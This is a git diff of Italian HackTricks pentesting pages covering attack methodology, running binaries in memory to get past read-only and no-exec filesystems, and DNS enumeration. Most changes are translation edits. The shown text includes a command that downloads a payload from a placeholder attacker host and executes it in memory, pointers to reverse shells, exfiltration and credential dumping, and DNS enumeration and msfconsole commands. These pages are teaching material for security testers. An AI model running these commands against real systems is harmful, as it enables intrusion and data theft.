[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di query possibili che non puoi eseguire manualmente. Quindi, puoi prendere i tuoi preferiti 10 o potresti utilizzare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirli tutti**. -_Nota che gli strumenti che si aspettano di eseguire l'intero database utilizzando il normale browser di Google non finiranno mai poiché Google ti bloccherà molto presto._ +_Nota che gli strumenti che si aspettano di eseguire l'intero database utilizzando il normale browser di Google non finiranno mai poiché Google ti bloccherà molto molto presto._ ### **Ricerca di vulnerabilità** -Se trovi **credenziali trapelate** valide o token API, questa è una vittoria molto facile. +Se trovi **credenziali trapelate valide** o token API, questa è una vittoria molto facile. ## Vulnerabilità del Codice Pubblico @@ -649,9 +649,9 @@ Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte * Tutti i corsi gratuiti di [**@Jhaddix**](https://twitter.com/Jhaddix) come [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
-Se sei interessato a una **carriera nell'hacking** e ad hackerare l'inattaccabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_). +Se sei interessato a una **carriera nell'hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_). {% embed url="https://www.stmcyber.com/careers" %} diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 31027ec3f..b812e03c9 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -2,11 +2,11 @@
-Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)! +Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
-
+
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_). @@ -53,28 +53,28 @@ Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, de ### **5-** Test dei Servizi -Se non c'è alcun exploit interessante per un servizio in esecuzione, dovresti cercare **comuni configurazioni errate in ciascun servizio in esecuzione.** +Se non c'è alcun exploit interessante per un servizio in esecuzione, dovresti cercare **comuni configurazioni errate in ogni servizio in esecuzione.** **All'interno di questo libro troverai una guida per testare i servizi più comuni** (e altri meno comuni)**. Per favore, cerca nell'indice a sinistra la sezione** _**PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).** **Voglio fare una menzione speciale alla parte** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\ Inoltre, puoi trovare una piccola guida su come [**trovare vulnerabilità conosciute nel software**](search-exploits.md) qui. -**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se **non trovi nulla** su Google, esegui il tuo **pentesting alla cieca**, potresti iniziare **connetterti al servizio, fuzzarlo e leggere le risposte** (se presenti). +**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se **non trovi nulla** su Google, esegui il tuo **pentesting cieco**, potresti iniziare **connettendoti al servizio, fuzzing e leggendo le risposte** (se presenti). #### 5.1 Strumenti Automatici -Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche delle vulnerabilità**. **Ti consiglierei di provare** [**Legion**](https://github.com/carlospolop/legion)**, che è lo strumento che ho creato ed è basato sulle note sui test dei servizi che puoi trovare in questo libro.** +Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche delle vulnerabilità**. **Ti consiglierei di provare** [**Legion**](https://github.com/carlospolop/legion)**, che è lo strumento che ho creato ed è basato sulle note sui servizi di pentesting che puoi trovare in questo libro.** #### **5.2 Brute-Forcing dei servizi** -In alcuni scenari un **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui una CheatSheet di diversi servizi di brute forcing**](brute-force.md)**.** +In alcuni scenari un **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui una CheatSheet di Brute-Force di diversi servizi**](brute-force.md)**.** ### 6- [Phishing](phishing-methodology/) Se a questo punto non hai trovato alcuna vulnerabilità interessante **potresti aver bisogno di provare qualche phishing** per entrare nella rete. Puoi leggere la mia metodologia di phishing [qui](phishing-methodology/): -### **7-** [**Ottenere Shell**](shells/) +### **7-** [**Ottenere una Shell**](shells/) In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una shell inversa sarebbe molto utile](shells/). @@ -90,7 +90,7 @@ Se hai problemi con la shell, puoi trovare qui una piccola **raccolta dei comand ### **9 -** [**Esfiltrazione**](exfiltration.md) -Probabilmente dovrai **estrae alcuni dati dalla vittima** o addirittura **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post su strumenti comuni che puoi usare con questi scopi**](exfiltration.md)**.** +Probabilmente avrai bisogno di **estrae alcuni dati dalla vittima** o addirittura **introdurre qualcosa** (come script di escalation dei privilegi). **Qui hai un** [**post su strumenti comuni che puoi usare con questi scopi**](exfiltration.md)**.** ### **10- Escalazione dei privilegi** #### **10.1- Privesc Locale** @@ -99,10 +99,10 @@ Se non sei **root/Administrator** all'interno del sistema, dovresti trovare un m Qui puoi trovare una **guida per aumentare i privilegi localmente in** [**Linux**](../linux-hardening/privilege-escalation/) **e in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ Dovresti anche controllare queste pagine su come funziona **Windows**: -- [**Autenticazione, Credenziali, Privilegi del token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) -- Come funziona **NTLM**](../windows-hardening/ntlm/) -- Come **rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows -- Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/) +* [**Autenticazione, Credenziali, Privilegi del token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) +* Come funziona **NTLM**](../windows-hardening/ntlm/) +* Come **rubare credenziali**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows +* Alcuni trucchi su [_**Active Directory**_](../windows-hardening/active-directory-methodology/) **Non dimenticare di controllare i migliori strumenti per enumerare i percorsi di Escalation dei Privilegi locali di Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) @@ -114,7 +114,7 @@ Qui puoi trovare una [**metodologia che spiega le azioni più comuni per enumera #### **11.1 - Saccheggio** -Controlla se puoi trovare altre **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\ +Controlla se puoi trovare più **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\ Trova qui diversi modi per [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). #### 11.2 - Persistenza @@ -122,12 +122,12 @@ Trova qui diversi modi per [**dump passwords in Windows**](https://github.com/ca **Usa 2 o 3 tipi diversi di meccanismi di persistenza in modo da non dover sfruttare nuovamente il sistema.**\ **Qui puoi trovare alcuni** [**trucchi di persistenza sull'active directory**](../windows-hardening/active-directory-methodology/#persistence)**.** -TODO: Completare la Persistenza Post in Windows & Linux +TODO: Completare la persistenza Post in Windows & Linux ### 12 - Pivoting Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (avviare nuovamente la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\ -In questo caso il tunneling potrebbe essere necessario. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\ +In questo caso potrebbe essere necessario il tunneling. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\ Dovresti assolutamente controllare anche il post su [Metodologia di Pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, aumentare i privilegi e dumpare credenziali.\ Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe essere molto utile per pivotare negli ambienti Windows.. @@ -137,21 +137,21 @@ Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe es #### **Sfruttamento** -- [**Sfruttamento di base di Linux**](../binary-exploitation/linux-exploiting-basic-esp.md) -- [**Sfruttamento di base di Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [**Strumenti di sfruttamento di base**](../binary-exploitation/basic-binary-exploitation-methodology/tools/) +* [**Sfruttamento di base di Linux**](../binary-exploitation/linux-exploiting-basic-esp.md) +* [**Sfruttamento di base di Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) +* [**Strumenti di sfruttamento di base**](../binary-exploitation/basic-binary-exploitation-methodology/tools/) #### [**Python di base**](python/) #### **Trucchi crittografici** -- [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) -- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) -- [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) +* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) +* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) +* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
+
-Se sei interessato a una **carriera nel settore dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_). +Se sei interessato a una **carriera nell'hacking** e a hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_). {% embed url="https://www.stmcyber.com/careers" %} @@ -161,10 +161,10 @@ Se sei interessato a una **carriera nel settore dell'hacking** e vuoi hackerare Altri modi per supportare HackTricks: -- Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! -- Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) -- Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) -- **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -- **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 9bf598075..c783a24d3 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -14,9 +14,9 @@ Altri modi per supportare HackTricks: -
+
-Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_). +Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_). {% embed url="https://www.stmcyber.com/careers" %} @@ -52,24 +52,24 @@ Dal punto di vista di un red team, questo rende **complicato scaricare ed esegui ## Bypass più semplice: Script -Nota che ho menzionato binari, puoi **eseguire qualsiasi script** purché l'interprete sia all'interno della macchina, come uno **script shell** se è presente `sh` o uno **script python** se è installato `python`. +Nota che ho menzionato binari, puoi **eseguire qualsiasi script** purché l'interprete sia presente nella macchina, come uno **script shell** se è presente `sh` o uno **script python** se è installato `python`. Tuttavia, questo non è sufficiente per eseguire la tua backdoor binaria o altri strumenti binari che potresti aver bisogno di eseguire. ## Bypass di memoria -Se vuoi eseguire un binario ma il file system non lo consente, il modo migliore per farlo è **eseguirlo dalla memoria**, poiché le **protezioni non si applicano lì**. +Se vuoi eseguire un binario ma il file system non lo permette, il modo migliore per farlo è **eseguirlo dalla memoria**, poiché le **protezioni non si applicano lì**. ### Bypass syscall FD + exec -Se hai alcuni potenti motori di script all'interno della macchina, come **Python**, **Perl** o **Ruby**, potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (`create_memfd` syscall), che non sarà protetto da tali protezioni e quindi chiamare una **syscall `exec`** indicando il **fd come file da eseguire**. +Se hai alcuni potenti motori di script all'interno della macchina, come **Python**, **Perl**, o **Ruby** potresti scaricare il binario da eseguire dalla memoria, memorizzarlo in un descrittore di file di memoria (`create_memfd` syscall), che non sarà protetto da tali protezioni e quindi chiamare una **syscall `exec`** indicando il **fd come file da eseguire**. Per fare ciò puoi facilmente utilizzare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passargli un binario e genererà uno script nella lingua indicata con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo. {% hint style="warning" %} Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno un **modo predefinito per chiamare le syscall grezze** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **fd di memoria** per memorizzare il binario. -Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà consentito eseguirlo perché si applicherà la **protezione no-exec**. +Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà consentito eseguirlo a causa della **protezione no-exec** che si applicherà. {% endhint %} ### DDexec / EverythingExec @@ -79,13 +79,13 @@ Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, po Pertanto, **controllando il codice assembly** che viene eseguito dal processo, puoi scrivere uno **shellcode** e "mutare" il processo per **eseguire qualsiasi codice arbitrario**. {% hint style="success" %} -**DDexec / EverythingExec** ti permetterà di caricare ed **eseguire** il tuo **shellcode** o **qualsiasi binario** dalla **memoria**. +**DDexec / EverythingExec** ti permetterà di caricare ed **eseguire** il tuo **proprio shellcode** o **qualsiasi binario** dalla **memoria**. {% endhint %} ```bash # Basic example wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar ``` -Per ulteriori informazioni su questa tecnica controlla il Github o: +Per ulteriori informazioni su questa tecnica, controlla il Github o: {% content-ref url="ddexec.md" %} [ddexec.md](ddexec.md) @@ -93,9 +93,9 @@ Per ulteriori informazioni su questa tecnica controlla il Github o: ### MemExec -[**Memexec**](https://github.com/arget13/memexec) è il passo successivo naturale di DDexec. È un **shellcode demonizzato di DDexec**, quindi ogni volta che vuoi **eseguire un binario diverso** non è necessario riavviare DDexec, puoi semplicemente eseguire il shellcode memexec tramite la tecnica DDexec e poi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**. +[**Memexec**](https://github.com/arget13/memexec) è il passo successivo naturale di DDexec. Si tratta di un **shellcode demonizzato di DDexec**, quindi ogni volta che si desidera **eseguire un binario diverso** non è necessario riavviare DDexec, è sufficiente eseguire il shellcode memexec tramite la tecnica DDexec e poi **comunicare con questo demone per passare nuovi binari da caricare ed eseguire**. -Puoi trovare un esempio su come utilizzare **memexec per eseguire binari da una shell inversa PHP** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). +È possibile trovare un esempio su come utilizzare **memexec per eseguire binari da un reverse shell PHP** in [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). ### Memdlopen @@ -109,15 +109,15 @@ I container Distroless contengono solo i **componenti minimi necessari per esegu L'obiettivo dei container Distroless è **ridurre la superficie di attacco dei container eliminando componenti non necessari** e riducendo al minimo il numero di vulnerabilità che possono essere sfruttate. -### Shell Inversa +### Reverse Shell -In un container Distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell regolare. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito esegui in un sistema. +In un container Distroless potresti **non trovare nemmeno `sh` o `bash`** per ottenere una shell regolare. Non troverai nemmeno binari come `ls`, `whoami`, `id`... tutto ciò che di solito si esegue in un sistema. {% hint style="warning" %} -Pertanto, **non** sarai in grado di ottenere una **shell inversa** o **enumerare** il sistema come fai di solito. +Pertanto, **non** sarà possibile ottenere una **shell inversa** o **enumerare** il sistema come fai di solito. {% endhint %} -Tuttavia, se il container compromesso sta eseguendo ad esempio un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una **shell inversa Python**. Se sta eseguendo node, puoi ottenere una shell inversa di Node, e lo stesso con la maggior parte dei **linguaggi di scripting**. +Tuttavia, se il container compromesso sta eseguendo ad esempio un'applicazione web Flask, allora Python è installato e quindi puoi ottenere una **shell inversa Python**. Se sta eseguendo Node, puoi ottenere una shell inversa di Node, e lo stesso vale per la maggior parte dei **linguaggi di scripting**. {% hint style="success" %} Utilizzando il linguaggio di scripting potresti **enumerare il sistema** sfruttando le capacità del linguaggio. @@ -129,11 +129,11 @@ Se non ci sono **protezioni `read-only/no-exec`** potresti abusare della tua she Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti utilizzare le **tecniche di esecuzione in memoria precedenti per aggirarle**. {% endhint %} -Puoi trovare **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere **shell inverse di linguaggi di scripting** ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). +Puoi trovare degli **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere **shell inverse di linguaggi di scripting** ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). -
+
-Se sei interessato a una **carriera nell'hacking** e ad hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_). +Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza in polacco scritto e parlato_). {% embed url="https://www.stmcyber.com/careers" %} @@ -143,9 +143,9 @@ Se sei interessato a una **carriera nell'hacking** e ad hackerare l'impossibile Altri modi per supportare HackTricks: -* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) -* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md index b57034808..a42e2b408 100644 --- a/network-services-pentesting/pentesting-dns.md +++ b/network-services-pentesting/pentesting-dns.md @@ -14,9 +14,9 @@ Altri modi per supportare HackTricks: -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %} @@ -33,19 +33,19 @@ PORT STATE SERVICE REASON ``` ### Diversi Server DNS -* **Server Radice DNS**: Questi si trovano in cima alla gerarchia DNS, gestendo i domini di alto livello e intervenendo solo se i server di livello inferiore non rispondono. La Internet Corporation for Assigned Names and Numbers (**ICANN**) sovraintende alla loro operatività, con un conteggio globale di 13. -* **Server dei Nomi Autoritativi**: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non possono fornire una risposta, la query viene inoltrata ai server radice. -* **Server dei Nomi Non Autoritativi**: Senza proprietà sulle zone DNS, questi server raccolgono informazioni di dominio attraverso query ad altri server. +* **Server Radice DNS**: Questi si trovano in cima alla gerarchia DNS, gestendo i domini di primo livello e intervenendo solo se i server di livello inferiore non rispondono. La Internet Corporation for Assigned Names and Numbers (**ICANN**) sovraintende alla loro operatività, con un conteggio globale di 13. +* **Server Autoritativi**: Questi server hanno l'ultima parola per le query nelle loro zone designate, offrendo risposte definitive. Se non riescono a fornire una risposta, la query viene inoltrata ai server radice. +* **Server Non Autoritativi**: Privi di proprietà sulle zone DNS, questi server raccolgono informazioni di dominio tramite query ad altri server. * **Server DNS di Cache**: Questo tipo di server memorizza le risposte alle query precedenti per un determinato periodo al fine di velocizzare i tempi di risposta per le richieste future, con la durata della cache dettata dal server autoritativo. * **Server di Inoltro**: Svolgendo un ruolo diretto, i server di inoltro semplicemente inoltrano le query a un altro server. -* **Resolver**: Integrati nei computer o nei router, i resolver eseguono la risoluzione dei nomi localmente e non sono considerati autoritativi. +* **Resolver**: Integrati nei computer o nei router, i resolver eseguono la risoluzione dei nomi a livello locale e non sono considerati autoritativi. ## Enumerazione -### **Banner Grabbing** +### **Acquisizione Banner** Non ci sono banner nei DNS ma puoi acquisire la query magica per `version.bind. CHAOS TXT` che funzionerà sulla maggior parte dei server BIND.\ -Puoi eseguire questa query usando `dig`: +Puoi eseguire questa query utilizzando `dig`: ```bash dig version.bind CHAOS TXT @DNS ``` @@ -112,12 +112,12 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` {% hint style="info" %} -Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un reverse dns BF ai NSs del dominio chiedendo quel intervallo di IP. +Se riesci a trovare sottodomini che risolvono a indirizzi IP interni, dovresti provare a eseguire un reverse dns BF ai NSs del dominio chiedendo quel range di IP. {% endhint %} Un altro strumento per farlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) -Puoi interrogare intervalli IP inversi su [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (questo strumento è anche utile con BGP). +Puoi interrogare i range IP inversi su [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (questo strumento è anche utile con BGP). ### DNS - Subdomains BF ```bash @@ -148,13 +148,13 @@ Forzatura bruta utilizzando richieste "AAAA" per raccogliere gli IPv6 dei sottod ```bash dnsdict6 -s -t ``` -Effettuare il reverse DNS con attacco di forza bruta utilizzando gli indirizzi IPv6 +Bruteforce del DNS inverso utilizzando gli indirizzi IPv6 ```bash dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net ``` ### Attacco DDoS alla Ricorsione DNS -Se la **ricorsione DNS è abilitata**, un attaccante potrebbe **spoofare** l'**origine** del pacchetto UDP per far sì che il **DNS invii la risposta al server vittima**. Un attaccante potrebbe sfruttare i record **ANY** o **DNSSEC** poiché solitamente generano risposte più grandi.\ +Se la **ricorsione DNS è abilitata**, un attaccante potrebbe **spoofare** l'**origine** del pacchetto UDP per far sì che il **DNS invii la risposta al server vittima**. Un attaccante potrebbe sfruttare i tipi di record **ANY** o **DNSSEC** poiché solitamente generano risposte più grandi.\ Il modo per **verificare** se un DNS supporta la **ricorsione** è interrogare un nome di dominio e **verificare** se il flag "ra" (_ricorsione disponibile_) è presente nella risposta: ```bash dig google.com A @ @@ -167,15 +167,15 @@ dig google.com A @ ![](<../.gitbook/assets/image (146).png>) -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, ottenere shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di dedicare più tempo a indagare in profondità, aprire shell e divertirsi. {% embed url="https://pentest-tools.com/" %} -### Email a un account inesistente +### Invio di posta a un account inesistente -Attraverso l'esame di una notifica di mancata consegna (NDN) scatenata da un'email inviata a un indirizzo non valido all'interno di un dominio target, spesso vengono rivelati dettagli preziosi sulla rete interna. +Attraverso l'esame di una notifica di mancata consegna (NDN) scatenata da un'email inviata a un indirizzo non valido all'interno di un dominio target, spesso vengono rivelati preziosi dettagli sulla rete interna. Il rapporto di mancata consegna fornito include informazioni come: @@ -228,8 +228,6 @@ Impostazioni pericolose durante la configurazione di un server Bind: * [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/) * Libro: **Network Security Assessment 3rd edition** - -## Comandi Automatici di HackTricks ``` Protocol_Name: DNS #Protocol Abbreviation if there is one. Port_Number: 53 #Comma separated if there is more than one. @@ -282,22 +280,22 @@ Description: DNS enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
+
-**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi. +**Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione**. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi. {% embed url="https://pentest-tools.com/" %}
